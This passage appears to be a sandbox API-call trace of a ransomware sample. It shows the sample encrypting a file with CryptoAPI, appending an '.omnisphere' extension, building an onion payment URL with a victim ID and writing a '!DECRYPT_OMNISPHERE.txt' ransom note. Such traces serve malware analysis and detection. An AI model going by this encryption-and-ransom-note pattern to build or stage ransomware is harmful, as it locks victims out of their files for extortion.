pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.073] CryptDestroyKey (hKey=0x1639b28) returned 1 [0127.073] CryptReleaseContext (hProv=0x1668ce0, dwFlags=0x0) returned 1 [0127.073] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x483, lpName=0x0) returned 0x288 [0127.073] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x483) returned 0x1480000 [0127.074] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16688a0) returned 1 [0127.074] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0127.074] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.074] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.074] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.074] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.074] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.074] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.074] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.074] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.074] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.075] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.075] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.075] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.075] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.075] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.075] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.075] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.075] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.075] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.075] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.075] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.075] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.075] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.075] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.075] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.075] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.075] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.075] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.075] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.075] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.075] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.075] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.075] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.075] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.075] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.075] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.076] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.076] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.076] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.076] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.076] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.076] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.076] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.076] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.076] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.076] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.076] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.076] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.076] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.076] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.076] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.076] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.076] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.076] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.076] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.076] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.076] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.077] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.077] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.077] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.077] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.077] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.077] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.077] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.077] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.077] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.077] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.077] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.077] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.077] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.077] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.077] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.077] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.077] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.077] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.077] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.077] CryptDestroyKey (hKey=0x1639b28) returned 1 [0127.077] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0127.077] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x483, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.077] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.078] GetProcessHeap () returned 0x1600000 [0127.078] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2bc) returned 0x16ee3d8 [0127.078] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SZGBZopZnihyK4aAT.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\szgbzopznihyk4aat.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SZGBZopZnihyK4aAT.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\szgbzopznihyk4aat.lnk.omnisphere")) returned 1 [0127.078] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SZGBZopZnihyK4aAT.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SZGBZopZnihyK4aAT.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SZGBZopZnihyK4aAT.lnk.omnisphere.id" [0127.078] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SZGBZopZnihyK4aAT.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\szgbzopznihyk4aat.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.079] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.080] CloseHandle (hObject=0x3c0) returned 1 [0127.080] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.080] CloseHandle (hObject=0x288) returned 1 [0127.080] SetEndOfFile (hFile=0x28c) returned 1 [0127.080] FlushFileBuffers (hFile=0x28c) returned 1 [0127.083] CloseHandle (hObject=0x28c) returned 1 [0127.083] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SZGBZopZnihyK4aAT.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.083] GetProcessHeap () returned 0x1600000 [0127.083] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f18b8 [0127.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.083] GetProcessHeap () returned 0x1600000 [0127.083] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5bb8 [0127.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5bb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.083] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.083] GetProcessHeap () returned 0x1600000 [0127.083] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d82e8 [0127.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d82e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.083] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.083] GetProcessHeap () returned 0x1600000 [0127.084] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d96d0 [0127.084] PathCombineW (in: pszDest=0x16d96d0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.084] GetProcessHeap () returned 0x1600000 [0127.084] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16dca70 [0127.084] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.084] WriteFile (in: hFile=0x28c, lpBuffer=0x16dca70*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16dca70*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.084] CloseHandle (hObject=0x28c) returned 1 [0127.084] GetProcessHeap () returned 0x1600000 [0127.084] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f18b8 | out: hHeap=0x1600000) returned 1 [0127.084] GetProcessHeap () returned 0x1600000 [0127.084] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.084] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: 